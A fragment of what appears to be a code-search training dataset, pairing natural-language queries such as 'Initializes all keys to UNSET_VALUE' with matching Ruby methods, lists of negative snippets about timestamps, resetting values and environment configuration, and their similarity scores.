"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_time # :nodoc:\n @last_modified_time.dup\n end",
"def last_modified_time\n mtime\n end",
"def last_updated\n time = self.updated_at\n if time < Time.now - (3600 * 24)\n time.strftime(\"%b %-d, %Y\")\n else\n time.strftime(\"%l:%M %p\")\n end\n end",
"def modified_at\n ensure_full_data!\n Time.at(@gapi[\"lastModifiedTime\"] / 1000.0)\n end",
"def most_recent\n Visit.all.sort_by{|visit| visit.timestamps}.last\n end",
"def creation_time # :nodoc:\n @creation_time.dup\n end",
"def last_update() (last_answer = answers.last) ? last_answer.time_stamp : created_at end",
"def time\n Time.parse(inner_author.date.to_s)\n end",
"def last_fetch\n datetime_from(\"sf:last_fetch\")\n end",
"def first_seen_date_time\n return @first_seen_date_time\n end",
"def first_seen_date_time\n return @first_seen_date_time\n end",
"def current_time\r\n return @owner.timestamp.to_i - @start.to_i\r\n end",
"def last_refresh\n @dt\n end",
"def last_refresh\n @dt\n end",
"def last_refresh\n @dt\n end",
"def created_time\n ctime\n end",
"def last_action_date_time\n return @last_action_date_time\n end",
"def last_modified\n rails_root_mtime = Time.zone.at(::File.new(\"#{Rails.root}\").mtime)\n timestamps = [rails_root_mtime, self.updated_at] + self.page.elements.collect{|e| e.last_modified}\n timestamps.sort.last\n end",
"def last_updated_time\n CGI.escape(30.minutes.ago.to_datetime.to_formatted_s(:iso8601))\n end",
"def created_at\n @gapi[\"timeCreated\"]\n end",
"def time_of_oldest_vote\n from_time = Time.now.utc\n if first=countings.find(:first, :order => 'created_at ASC')\n from_time=first.created_at if first.created_at<from_time\n end\n from_time\n end",
"def last_written\n wtime = (@cred_struct[:last_written][:dw_high_date_time] << 32) +\n (@cred_struct[:last_written][:dw_low_date_time])\n Time.at((wtime - 116444736000000000) / 10000000)\n end",
"def current_time\n @definition.current_time\n end",
"def last_reported_date_time\n return @last_reported_date_time\n end",
"def time_ago\n updated_at.time_ago\n end",
"def last_modified\n if v = @meta['last-modified']\n Time.httpdate(v)\n else\n nil\n end\n end",
"def last_updated_at\n if cache\n @last_updated_at ||= remote_last_updated_at\n else\n remote_last_updated_at\n end\n end",
"def timestamp\n begin\n max=model.max(:updated_at)\n #rescue PG::Error => err\n rescue => err\n # puts \" error was #{err}\"\n # if we get an error, just assume we need to update the table\n return Rake::EARLY\n end\n # this is embarassing, but rake doesn't have a way to say\n # that this thing is more recently updated than anything else\n max.nil? ? Time.parse('Dec 31, 9999') : max\n end",
"def last_polled_at\n Time.now\n end",
"def last_use_at\n @attributes[:last_use_at]\n end",
"def date_updated\n Time.parse(@attrs['DateUpdated'])\n end",
"def date_updated\n Time.parse(@attrs['DateUpdated'])\n end",
"def get_last_modified(feed)\n\t\t\t#assume, that first entry is newest\n\t\t\tfeed.last_modified || (feed.entries[0] && feed.entries[0].published) || Time.now\n\t\tend",
"def time\n (published_at || created_at).try :in_time_zone\n end",
"def creation_time\n data[:creation_time]\n end",
"def last_read_announcements_at\n @attributes[:last_read_announcements_at]\n end",
"def timestamp\n self[:timestamp]\n end",
"def last_modified\n @last_modified ||= Date.parse(theme.created_at)\n end",
"def last_modified\n @resource.last_modified\n end",
"def earliest_restorable_time\n data[:earliest_restorable_time]\n end",
"def timestamp\n TimeStamp.new\n end",
"def body_last_modified_date_time\n return @body_last_modified_date_time\n end",
"def created_at\n @created_at ||= changelogs.first&.[](\"time\")\n end",
"def last_used_at\n begin\n Time.parse(self.last_use_date)\n rescue\n nil\n end\n end",
"def time_last_received\n a = emails_received.order(\"created_at DESC\").first\n a.created_at if a\n end",
"def created_at; end",
"def last_share_at\n shares.maximum(:created_at)\n end",
"def timestamp\n _timestamp.as_time\n end"
] | [
"0.7708772",
"0.69254977",
"0.69254977",
"0.6861092",
"0.678406",
"0.678406",
"0.678406",
"0.6771644",
"0.6768277",
"0.67533755",
"0.6752988",
"0.6735972",
"0.6689751",
"0.6683843",
"0.66806775",
"0.66806775",
"0.66806775",
"0.66806775",
"0.6680535",
"0.6646449",
"0.6646449",
"0.6646449",
"0.6646449",
"0.65741444",
"0.65737766",
"0.6541866",
"0.6541715",
"0.6445711",
"0.6445552",
"0.64363503",
"0.64340454",
"0.64304197",
"0.64260375",
"0.6411063",
"0.6398226",
"0.63669515",
"0.6365519",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6362691",
"0.6351144",
"0.63493216",
"0.6346541",
"0.6334763",
"0.6323798",
"0.6317496",
"0.6295825",
"0.6295701",
"0.628448",
"0.62792534",
"0.6249464",
"0.6249464",
"0.62481856",
"0.62403953",
"0.62403953",
"0.62403953",
"0.6232725",
"0.62143016",
"0.6205159",
"0.62008065",
"0.62000453",
"0.6196743",
"0.61944413",
"0.61829585",
"0.61800796",
"0.6155",
"0.61359805",
"0.61255246",
"0.6125273",
"0.6119754",
"0.61186564",
"0.61052525",
"0.61052525",
"0.6085853",
"0.6077389",
"0.6074488",
"0.60711163",
"0.6068016",
"0.606563",
"0.60625726",
"0.60617495",
"0.6060688",
"0.6034228",
"0.6024997",
"0.60239726",
"0.6010962",
"0.6009016",
"0.6004383",
"0.60040563"
] | 0.636663 | 36 |
Initializes all keys to `UNSET_VALUE` | def initialize
super
keys.each do |key|
set(key, self.class::UNSET_VALUE)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def clear\n keys.each do |k|\n Jeapie.instance_variable_set(\"@#{k}\", nil)\n end\n end",
"def reset_initial_values\n @initial_values.clear if @initial_values\n @missing_initial_values.clear if @missing_initial_values\n end",
"def reset!\n @significant_keys = nil\n @orders = Hash.new{|h,k| h[k] = Hash.new{|h2, k2| h2[k2] = []}}\n @key_count = Hash.new(0)\n @cache = {}\n end",
"def clear\n @data = {}\n @next_keys = {}\n end",
"def reset\n @ret_val = 999\n @keys = []\n @keys_to_check = []\n @keys_used = []\n @unsigned_keys = []\n @algs = []\n @last_nsec3_hashed = nil\n @nsec3param = nil\n @first_nsec3 = nil\n @count = 0\n @last_nsec = nil\n @first_nsec = nil\n @warned_about_nsec3param = false\n @zone_name = \"\"\n @soa = nil\n @config = nil\n @key_tracker = nil\n @key_cache = nil\n @unknown_nsecs = {}\n @empty_nonterminals = []\n end",
"def clear\n with(keys: EMPTY_ARRAY)\n end",
"def reset!\n self.user_values = {}\n\n # @inputs have to be nil, not an empty hash. otherwise\n # the memoized inputs will not pick up the changes.\n @inputs = nil\n end",
"def reset\n @value = nil\n @count = 0\n end",
"def reset\n\t\tself.clear\n\t\tme = self\n\t\t@default_values.each {|n,v| me[n] = v.is_a?(Class) ? nil : v}\n\tend",
"def clear!\n @key_registry = {}\n self\n end",
"def clear\n all_keys = keys\n return 0 if all_keys.empty?\n\n # Delete all keys\n del(*all_keys)\n end",
"def reset\n @map[@map.keys[0]].reset\n @map[@map.keys[1]].reset\n end",
"def clear\n @index = Hash.new { |h, k| h[k] = Hash.new(&h.default_proc) }\n end",
"def reset!\n keys.each do |key|\n instance_variable_set(:\"@#{key}\", GogoKit::Default.send(key))\n end\n self\n end",
"def reset\n keys.each do |key|\n instance_variable_set(:\"@#{key}\", defaults[key])\n self\n end\n end",
"def initialize\n @_values = {}\n end",
"def clear_assigned_keys\n @assigned_keys = {}\n end",
"def reset!\n @defaults.each { |key, value| instance_variable_set(key, value) }\n end",
"def reset!\n @defaults.each { |key, value| instance_variable_set(key, value) }\n end",
"def reset\n\t\t\t\tself.clear\n\t\t\t\tme = self\n\t\t\t\t@default_values.each { |n, v| me[n] = v.is_a?(Class) ? nil : v }\n\t\t\tend",
"def initialize\n super {|hash, key| hash[key] = 0}\n end",
"def clear\n @lock.synchronize do\n @values.clear\n @references_to_keys_map.clear\n end\n end",
"def reset! key = nil\n if key.nil?\n @values.clear\n else\n key = ::Kernel.String(key).to_sym\n @values.delete key\n end\n self\n end",
"def reset!\n Unleashed::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Unleashed::Default.options[key])\n end\n\n self\n end",
"def clear!\n @key_files = []\n @known_identities = nil\n self\n end",
"def clear\n @val = 0\n self\n end",
"def reset\n @value = nil\n end",
"def reset!\n @defaults.each do |k, v|\n instance_variable_set(k, v)\n end\n end",
"def hash_set_up\n Hash.new { |hash, key| hash[key] = Array.new(1) { 0 } }\n end",
"def clear\n @values.clear\n end",
"def clear\n @values.each { |v| v.deleted = true }\n end",
"def reset!\n registered_keys.each { |key| ClassConstants.new(key).deconstantize }\n @registered_keys = []\n container._container.clear\n end",
"def sweep\n @accessed_keys.each { |k| @values.delete k }\n @accessed_keys = []\n end",
"def reset! key = nil\n if key.nil?\n @values.each_key { |k| reset! k }\n else\n key = ::Kernel.String(key).to_sym\n if @schema.default? key\n @values[key] = @schema.default key\n @values[key].reset! if Configuration.config? @values[key]\n elsif @values.key? key\n @schema.warn! \"Key #{key.inspect} has not been added, but has a value.\" \\\n \" Removing the value.\"\n @values.delete key\n else\n @schema.warn! \"Key #{key.inspect} does not exist. Nothing to reset.\"\n end\n end\n self\n end",
"def clear_replay_values\n @replay_values.clear\n end",
"def clear\n @field.each_index { |i| @field[i] = 0 }\n end",
"def clear\n @key_down.clear\n @key_up.clear\n @key_held.clear\n @active = nil\n end",
"def clear\n @attributes = Hash.new { |hash, key| hash[key] = {} }\n end",
"def initialize_pop_keys\n @pop_keys = mapping.values + non_primitives.flat_map(&:tuple_keys)\n end",
"def initialize\n @values = {}\n @references_to_keys_map = {}\n @lock = Monitor.new\n @reference_cleanup = lambda{|object_id| remove_reference_to(object_id)}\n end",
"def clear\n @speed = 0\n @kind = 0\n @basic = -1\n @skill_id = 0\n @item_id = 0\n @target_index = -1\n @forcing = false\n @value = 0\n\n @custom_action = nil\n end",
"def clear\n set_hash.each { |regexp, hash| hash.clear }\n end",
"def reset!\n @keymaps = register(Vedeu::Keymap)\n end",
"def clear\n @next = nil\n @size = 0\n @stored = {}\n nil\n end",
"def clear_queue_values\n @queue_values = {}\n end",
"def reset\n self.api_key = nil\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.platform_client_id = nil\n self.platform_client_secret = nil\n self\n end",
"def resetValues\n @@multinode = nil\n @@serverList = nil\n @@proxy = nil\n @@serviceList = {}\n end",
"def clear\n @hash.clear\n self\n end",
"def initialize_default_values!\n Marshal.load(Marshal.dump(self.class.default_values)).each do |k, v|\n self[k] ||= v\n end\n end",
"def clear\n reset_defaults\n self\n end",
"def reset\n self.instance_variables.each do |var|\n instance_variable_set(var, nil)\n end\n initialize\n end",
"def initialize()\n @hash = {}\n @values = []\n end",
"def reset()\n @contadores = { :Piedra => 0, :Papel => 0, :Tijeras => 0,\n :Lagarto => 0, :Spock => 0}\n end",
"def set_cell_status_null\n\t\t@cell_status.each_key do |key|\n\t\t\t@cell_status[key]=0\n\t\tend\n\tend",
"def reset\n # Empty, but subclasses will override this.\n end",
"def _clear_accessors\n self.__pack = nil\n self._store = nil\n end",
"def finalize!\n super\n keys.each { |key| set(key, resolve_value(key)) }\n end",
"def reset\n Thread.current[:enum_table_missing_tables_allowed] = nil\n end",
"def clear\n if warning?\n warn(\"This operation can run for a very long time if the namespace contains lots of keys! \" +\n \"It should be used in tests, or when the namespace is small enough \" +\n \"and you are sure you know what you are doing.\")\n end\n\n batch_size = 1000\n\n if supports_scan?\n cursor = \"0\"\n begin\n cursor, keys = scan(cursor, count: batch_size)\n del(*keys) unless keys.empty?\n end until cursor == \"0\"\n else\n all_keys = keys(\"*\")\n all_keys.each_slice(batch_size) do |keys|\n del(*keys)\n end\n end\n end",
"def flags_clear!()\n @flags = 0\n end",
"def internal_reset(initial_value); end",
"def reset!\n self.api_key \t = DEFAULT_API_KEY\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self\n end",
"def zero_initializer\n '{}'\n end",
"def clear\n @keys_pressed.clear\n @keys_released.clear\n @keys_down.cleae\n end",
"def initialize()\n clear\n end",
"def reset\n @values = {\n 'loading_bar' => 'true',\n 'date_format' => 'relative',\n 'theme' => 'bootstrap',\n 'auto_fill' => 'true'\n }\n end",
"def reset\n # self.instance_variable_names.each do |var_name|\n # self.instance_variable_set var_name, nil\n # end\n instance_variables.each { |name, value|\n instance_variable_set(name, nil)\n }\n end",
"def clear\n initialize\n end",
"def clear\n initialize\n end",
"def test_Hash_InstanceMethods_clear\n\t\th = { 'a'=>100, 'b'=>200 }; h.clear\n\t\tassert_equal({}, h)\n\tend",
"def reset_flags\n @flags = { :zero => false , :plus => false ,\n :minus => false , :overflow => false }\n end",
"def clear!\n @handlers = {}\n @environments = {}\n @requests = []\n end",
"def reset()\n #This is a stub, used for indexing\n end",
"def reset()\n #This is a stub, used for indexing\n end",
"def reset\n self.company_id = DEFAULT_COMPANY_ID\n self.user_key = DEFAULT_USER_KEY\n self.secret_key = DEFAULT_SECRET_KEY\n self.endpoint = DEFAULT_ENDPOINT\n end",
"def reset!\n tap { set_defaults }\n end",
"def initialize\n @hash = lens_keys.map { |k| [k, nil] }.to_h.with_indifferent_access\n end",
"def initialize()\n clear()\n end",
"def process_empty_object\n clear_data!\n self.key = transform_to_empty_key(key)\n end",
"def reset\n self.api_key = DEFAULT_API_KEY\n self.user_agent = DEFAULT_USER_AGENT\n self.search_query_defaults = DEFAULT_SEARCH_SETTINGS\n self\n end",
"def reset\n self.api_key = DEFAULT_API_KEY\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.should_cache = true\n self\n end",
"def clear\n @entity_list = {}\n @context_list = {}\n @last_unique_id = 0\n @entity_names = {} # Internal cache of context names for quick key retrieval\n end",
"def reset\n @entries = []\n @owner = nil\n @curr_bucket = nil\n @curr_text = ''\n end",
"def reset ; end",
"def reset\n (@settings||{}).each do |name,instance| \n remove_setter(name)\n remove_getter(name)\n remove_boolean_getter(name)\n instance.destroy\n end\n @settings = Hash.new\n end",
"def missing_initial_values\n @missing_initial_values ||= []\n end",
"def clear\n @store.fill(nil,0...@size)\n end",
"def clear_all(key)\n _mutex.synchronize do\n _store[key] = {}\n end\n end",
"def reset_all\n @params.each_key {|k| reset(k.to_s)}\n @params = {}\n end",
"def unscope(*val)\n dup.tap do |r|\n val.flatten.each do |key|\n r.options[key] = nil\n end\n end\n end",
"def clear_options\n @entries = {}\n end",
"def initialize\n super\n \n @users = UNSET_VALUE\n end",
"def clean!\n if @keys.size > Cache.max_size\n @keys = @keys[(Cache.max_size/2)[email protected]]\n reject! { |key, value| [email protected]?(key) }\n end\n end",
"def clear!\n Thread.current[LOCAL_KEY] = nil\n end",
"def reset_variables\n @variables = Hash.new(0)\n\n # Initialise pi and e\n\n @variables['PI'] = Math::PI\n @variables['E'] = Math::E\n end",
"def finalize!\n @_values.freeze\n end",
"def reset!\n self.instance_variables.each { |variable| instance_variable_set(variable, nil) }\n self\n end",
"def clear_flags\n each(&:clear_flags)\n self\n end",
"def clear\n instance_variables.each do |instance_variable|\n instance_variable_set(instance_variable, nil)\n end\n end",
"def reset!\n HeiaHeia::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", HeiaHeia::Default.options[key])\n end\n self\n end"
] | [
"0.69660556",
"0.6755322",
"0.67488617",
"0.6719314",
"0.66499686",
"0.66154104",
"0.6439547",
"0.64275587",
"0.64091766",
"0.63930345",
"0.6391282",
"0.6360693",
"0.6350334",
"0.63373464",
"0.6332697",
"0.6281231",
"0.6239432",
"0.6217614",
"0.6217614",
"0.621136",
"0.61982644",
"0.6192366",
"0.6145772",
"0.613051",
"0.6116607",
"0.61120486",
"0.6109144",
"0.60894907",
"0.60265964",
"0.60210407",
"0.60210174",
"0.60137993",
"0.6008971",
"0.60020506",
"0.5964293",
"0.59449613",
"0.5938655",
"0.5934488",
"0.5928198",
"0.5907685",
"0.5904422",
"0.58923507",
"0.5887039",
"0.5877576",
"0.587657",
"0.5872915",
"0.58694726",
"0.5865375",
"0.5859464",
"0.58395445",
"0.5830995",
"0.58295625",
"0.5825039",
"0.5818834",
"0.5816877",
"0.5811896",
"0.5806222",
"0.5792369",
"0.57839966",
"0.5773835",
"0.5770719",
"0.5764209",
"0.57559735",
"0.57509434",
"0.57474256",
"0.5741616",
"0.57371265",
"0.5727254",
"0.5727254",
"0.5727005",
"0.5726042",
"0.57228386",
"0.5719455",
"0.5719455",
"0.5719338",
"0.57137656",
"0.5712397",
"0.568543",
"0.5683498",
"0.56829137",
"0.5676417",
"0.567636",
"0.5673668",
"0.5668885",
"0.566758",
"0.5666811",
"0.56652683",
"0.5664391",
"0.56638485",
"0.5663325",
"0.5660878",
"0.5656674",
"0.5654771",
"0.56543535",
"0.5654159",
"0.56537056",
"0.56528914",
"0.5646265",
"0.5642541",
"0.5641881"
] | 0.8348679 | 0 |
Overrides values from specified environment variables, and sets them to default values if no configuration was found | def finalize!
super
keys.each { |key| set(key, resolve_value(key)) }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def apply_environment_defaults\n @format = env(:format, @format) if @format.nil?\n @autopath = env(:autopath, @autopath) if @autopath.nil?\n @files = env(:files, @files) if @files.empty?\n @match = env(:match, @match) if @match.empty?\n @tags = env(:tags, @tags) if @tags.empty?\n @units = env(:units, @units) if @units.empty?\n @requires = env(:requires, @requires) if @requires.empty?\n @loadpath = env(:loadpath, @loadpath) if @loadpath.empty?\n end",
"def set_config(env, override_configurations = T.unsafe(nil)); end",
"def setup_profiled(**args)\n super(**args)\n default_env_vars.each do |key, value|\n set_env_default key, value\n end\n end",
"def default_environment=(env); end",
"def config=(env, override_configurations = T.unsafe(nil)); end",
"def apply_variables_to_environment!(options = {})\n variables_to_apply = variables.except(\"RACK_ENV\", \"RAILS_ENV\")\n \n variables_to_apply.each do |key, value|\n if !ENV.has_key?(key.to_s) || options[:overwrite] == true\n ENV[key.to_s] = value.to_s\n end\n end\n \n variables_to_apply\n end",
"def apply_environment_overrides\n @format = env(:format, @format)\n @autopath = env(:autopath, @autopath)\n @files = env(:files, @files)\n @match = env(:match, @match)\n @tags = env(:tags, @tags)\n @units = env(:units, @units)\n @requires = env(:requires, @requires)\n @loadpath = env(:loadpath, @loadpath)\n end",
"def config_from_env\n CONFIGURABLE_WITH_ENV.each_with_object({}) do |option, env_vars|\n if value = option_from_env(option)\n env_vars[option] = value\n end\n end\n end",
"def reset_env\n clear_env\n set_env self.env_defaults\n end",
"def apply_system_defaults\n if @region.nil? && @zone.nil?\n @region, @zone = Rudy::DEFAULT_REGION, Rudy::DEFAULT_ZONE\n elsif @region.nil?\n @region = @zone.to_s.gsub(/[a-z]$/, '').to_sym\n elsif @zone.nil?\n @zone = \"#{@region}b\".to_sym\n end\n \n @environment ||= Rudy::DEFAULT_ENVIRONMENT\n @role ||= Rudy::DEFAULT_ROLE\n @localhost ||= Rudy.sysinfo.hostname || 'localhost'\n @auto = false if @auto.nil?\n end",
"def around\n ClimateControl.modify(default_env_vars) do\n super\n end\n end",
"def set_defaults\n @defaults = RHC::Vendor::ParseConfig.new()\n @opts = RHC::Vendor::ParseConfig.new() # option switches that override config file\n\n @env_config = RHC::Vendor::ParseConfig.new()\n @global_config = nil\n @local_config = nil\n @opts_config = nil # config file passed in the options\n @additional_config = nil\n\n @default_proxy = nil\n\n @defaults.add('insecure', false)\n @defaults.add('libra_server', openshift_online_server)\n\n @env_config.add('libra_server', libra_server_env) if libra_server_env\n @env_config.add('libra_server', rhc_server_env) if rhc_server_env\n\n @opts_config_path = nil\n end",
"def set_env_defaults\n ENV['KAIKI_NETID'] = \"kfs-test-sec1\" if ENV['KAIKI_NETID'].nil?\n ENV['KAIKI_ENV'] = \"dev\" if ENV['KAIKI_ENV'].nil?\nend",
"def set_env_defaults\n ENV['KAIKI_NETID'] = \"kfs-test-sec1\" if ENV['KAIKI_NETID'].nil?\n ENV['KAIKI_ENV'] = \"dev\" if ENV['KAIKI_ENV'].nil?\nend",
"def configure_settings\n @env = deep_merge(env.dup, configuration[:env]) if configuration[:env]\n @vm = vm.merge(configuration[:vm]) if configuration[:vm]\n end",
"def config_opt(*env_vars, default: nil)\n ENV.values_at(*env_vars).compact.fetch(0, default)\n end",
"def override_environment_setting(node, name, value)\n node.override_environment_setting(name, value)\n @dirty_environment_settings = true\n end",
"def set_env(root, environment)\n self.root = root\n self.environment = environment\n config_file_paths << default_config_file_path\n end",
"def load_overrides\n if ENV['PARAMS_FILE'] && ENV['PARAMS_FILE'] != ''\n if File.readable?(ENV['PARAMS_FILE'])\n project_root = self.instance_variable_get(\"@project_root\")\n packaging_root = self.instance_variable_get(\"@packaging_root\")\n self.config_from_yaml(ENV['PARAMS_FILE'])\n self.instance_variable_set(\"@project_root\", project_root) if project_root\n self.instance_variable_set(\"@packaging_root\", packaging_root) if packaging_root\n else\n fail \"PARAMS_FILE was set, but not to the path to a readable file.\"\n end\n end\n end",
"def set_defaults!\n __load_config( DEFAULTS )\n end",
"def set_env_variables(env_vars = [])\n env_vars.each do |_v|\n key, value = _v.split(\"=\")\n\n ENV[key] = value\n end\n end",
"def load_defaults\n @dev_port = @default_dev_port\n @dev_pid = @default_dev_pid\n @dev_log = @default_dev_log\n @prod_port = @default_prod_port\n @prod_pid = @default_prod_pid\n @prod_log = @default_prod_log\nend",
"def set_env_variables(container_names = '*', block: false, timeout: 60, polling: 5, **env)\n env_strings = env.map { |k, v| v ? \"#{k}=#{v}\" : \"#{k}-\" }\n log.info \"Setting env variables (#{env_strings}) for #{name}/#{container_names}\"\n @parent.execute('set env', \"dc/#{name}\", *env_strings, containers: container_names)\n sleep polling\n wait_for_deployments(timeout: timeout, polling: polling) if block\n reload(true)\n @_env = nil\n end",
"def load_defaults\n @project_root ||= default_project_root\n @packaging_root ||= default_packaging_root\n\n Pkg::Params::DEFAULTS.each do |v|\n unless self.instance_variable_get(\"@#{v[:var]}\")\n self.instance_variable_set(\"@#{v[:var]}\", v[:val])\n end\n end\n end",
"def with_env_vars(filename = nil, &_block)\n original_env_vars = ENV.to_hash\n Dotenv.load(filename) if filename\n yield\nensure\n ENV.replace(original_env_vars)\nend",
"def load_envvars\n Pkg::Params::ENV_VARS.each do |v|\n if var = ENV[v[:envvar].to_s]\n case v[:type]\n when :bool\n self.instance_variable_set(\"@#{v[:var]}\", Pkg::Util.boolean_value(var))\n when :array\n self.instance_variable_set(\"@#{v[:var]}\", string_to_array(var))\n else\n self.instance_variable_set(\"@#{v[:var]}\", var)\n end\n end\n end\n end",
"def default_envs\n {\n \"PATH\" => \"\"\n }\n end",
"def default_environment_variables\n environment_variables.select &:default\n end",
"def load_vars\n config = YAML.load_file(@config_file)\n @dev_port = config[\"development\"][\"port\"] ||= @default_dev_port\n @dev_pid = config[\"development\"][\"pid\"] ||= @default_dev_pid\n @dev_log = config[\"development\"][\"log\"] ||= @default_dev_log\n @prod_port = config[\"production\"][\"port\"] ||= @default_prod_port\n @prod_pid = config[\"production\"][\"pid\"] ||= @default_prod_pid\n @prod_log = config[\"production\"][\"log\"] ||= @default_prod_log\nend",
"def load_env!(options = {})\n source = load_yaml_file(\"env.yml\")\n source = source.fetch(options[:env_section] || env_section, {})\n \n source.each do |key, value|\n if !ENV.has_key?(key) || options[:overwrite] == true\n ENV[key.to_s.upcase] = value.to_s\n end\n end\n end",
"def set_env(papers, site_host, site_name, nwo)\n ENV['REVIEW_REPOSITORY'] = nwo\n ENV['DOI_PREFIX'] = \"10.21105\"\n ENV['PAPER_REPOSITORY'] = papers\n ENV['JOURNAL_URL'] = site_host\n ENV['JOURNAL_NAME'] = site_name\n end",
"def environment_variables\n global_variables = @config.environment_variables\n process_vars = @config.process_options[@name] ? @config.process_options[@name]['env'] || {} : {}\n process_local_vars = @config.local_process_options[@name] ? @config.local_process_options[@name]['env'] || {} : {}\n global_variables.merge(process_vars.merge(process_local_vars)).each_with_object({}) do |(key, value), hash|\n hash[key.to_s] = value.to_s\n end\n end",
"def environment(override = nil)\n override || @environment || autodetect_environment\n end",
"def default_config\n data = {\n 'acr_values' => ENV['acr_values'] || 'http://idmanagement.gov/ns/assurance/ial/1',\n 'client_id' => ENV['client_id'] || 'urn:gov:gsa:openidconnect:sp:sinatra',\n 'mock_irs_client_id' => ENV['mock_irs_client_id'] ||\n 'urn:gov:gsa:openidconnect:sp:mock_irs',\n 'redirect_uri' => ENV['redirect_uri'] || 'http://localhost:9292/',\n 'sp_private_key_path' => ENV['sp_private_key_path'] || './config/demo_sp.key',\n 'redact_ssn' => true,\n 'cache_oidc_config' => true,\n }\n\n # EC2 deployment defaults\n\n env = ENV['idp_environment'] || 'int'\n domain = ENV['idp_domain'] || 'identitysandbox.gov'\n\n data['idp_url'] = ENV.fetch('idp_url', nil)\n unless data['idp_url']\n if env == 'prod'\n data['idp_url'] = \"https://secure.#{domain}\"\n else\n data['idp_url'] = \"https://idp.#{env}.#{domain}\"\n end\n end\n data['sp_private_key'] = ENV.fetch('sp_private_key', nil)\n\n data\n end",
"def replace_env(target)\n REPLACE_ENV.inject(target) do |memo, var|\n value = ENV[var]\n if value\n memo.gsub(/\\$\\{?#{var}\\}?/, value)\n else\n memo\n end\n end\nrescue => e\n puts \"Could not replace environment variables in: '#{target}'\"\nend",
"def env_config\n OPTIONS.each do |name|\n if value = ENV[name]\n __send__(\"#{name}=\",value)\n end\n end\n end",
"def load_defaults\n if ENV[\"INQ_USE_ENV\"] == \"true\"\n load_env\n else\n load_site_configs(HOME_CONFIG)\n end\n end",
"def update_env_file!\n present_env = ssh_read_file(app_username, \"#{ app_name }/.env\").to_s\n\n env = {\n \"RAILS_ENV\" => \"production\",\n \"PATH\" => \"/home/#{ app_username }/.rvm/wrappers/#{ app_name }:$PATH\",\n \"SECRET_KEY_BASE\" => SecureRandom.hex(64),\n }.merge(\n Dotenv::Parser.call(present_env)\n ).merge(\n options[:env] || {}\n ).map { |k, v|\n \"export #{ k }=#{ v.inspect }\\n\"\n }.join(\"\")\n\n ssh_write_file(app_username, \"#{ app_name }/.env\", env)\n end",
"def set_remote_env(env); end",
"def check_and_set_environment\n check_env\n set_env\n end",
"def require_env(*args)\n args.each do |arg|\n env_var = \"#{arg}\".upcase\n if ENV[env_var]\n instance_variable_set(\"@#{env_var.downcase}\", ENV[env_var])\n else\n puts \"You need to provide the ENV variable '#{env_var}'\"\n exit 1\n end\n end\n end",
"def env_defaults\n DataCache.env_defaults\n end",
"def set_prerun_config_defaults\n @@config.daemon_name = File.basename(__FILE__) unless @@config.daemon_name\n @@config.pid_file = \"#{@@config.daemon_name}.pid\" unless @@config.pid_file\n @@config.force_kill_wait = nil unless @@config.force_kill_wait\n @@config.group = nil unless @@config.group\n @@config.user = nil unless @@config.user\n end",
"def init_default_config\n configuration.project_id ||= Debugger.default_project_id\n configuration.credentials ||= Debugger.default_credentials\n configuration.service_name ||= Debugger.default_service_name\n configuration.service_version ||= Debugger.default_service_version\n end",
"def load_integ_environment_vars\n env_file = File.join(__dir__, 'config/local_env_integ.yml')\n env_key_vals = YAML.load_file(env_file)\n %w[\n SqsQueueIntegTests_QueueUrl\n SqsQueueIntegTests_QueueRegion\n SqsQueueIntegTests_AccessId\n SqsQueueIntegTests_SecretKey\n ].each { |var| ENV[var] = env_key_vals.fetch(var) }\nend",
"def load_env(environment=nil)\n environment ||= \"production\"\n load_dot_env \".env\" if environment == \"production\"\n load_dot_env \".env.#{environment}\"\nend",
"def environment=(env_options)\n env_options.each do |key, value|\n ENV[key] = value\n end\n end",
"def defaults \n default_run_options[:pty] = true\n\tset :deploy_to, \"/usr/local/www/#{application}-#{rails_env}\"\n\tset :apache_config_file, \"#{application}-#{rails_env}.conf\"\n\tset :apache_logs, \"/var/log/apache2/#{application}-#{rails_env}\"\n set :files_dir, \"#{deploy_to}/files\"\n\n # Environment specific tasks\n case rails_env\n when \"staging\"\n after \"deploy:symlink\", \"deploy:cleanup\" # cleanup older versions if successful\n when \"preview\"\n # nothing yet\n when \"production\"\n # nothing yet\n end\nend",
"def configure_environment\n\n=begin\n :: Expected Params ::\n \n Constants::REQUEST_PARAM_TEST => Server Mode (Is Production or Staging?) \n\n=end \n\n if params[Constants::REQUEST_PARAM_TEST].present?\n\n if params[Constants::REQUEST_PARAM_TEST] == \"1\"\n\n ENV[Constants::ENVIRONMENT_VAR_FOR_STAGING] = '1'\n\n else\n \n ENV.delete(Constants::ENVIRONMENT_VAR_FOR_STAGING) \n\n end \n\n end \n\n render json: {status: status_code(:ok), message: \"\", data: {:is_staging => (ENV[Constants::ENVIRONMENT_VAR_FOR_STAGING].present? ? 1 : 0)}}\n\n end",
"def env=(environment); end",
"def env=(environment); end",
"def set_or_init(i,val)\n \n env = ENV[i.upcase]\n \n if env.nil?\n \n instance_variable_set(\"@\" + i, val)\n \n else\n \n instance_variable_set(\"@\" + i, env)\n \n end\n \n end",
"def set_env(env={}, replace=false)\n current_env = {}\n ENV.each_pair do |key, value|\n current_env[key] = value\n end\n\n ENV.clear if replace\n\n env.each_pair do |key, value|\n if value.nil?\n ENV.delete(key)\n else\n ENV[key] = value\n end\n end if env\n\n current_env\n end",
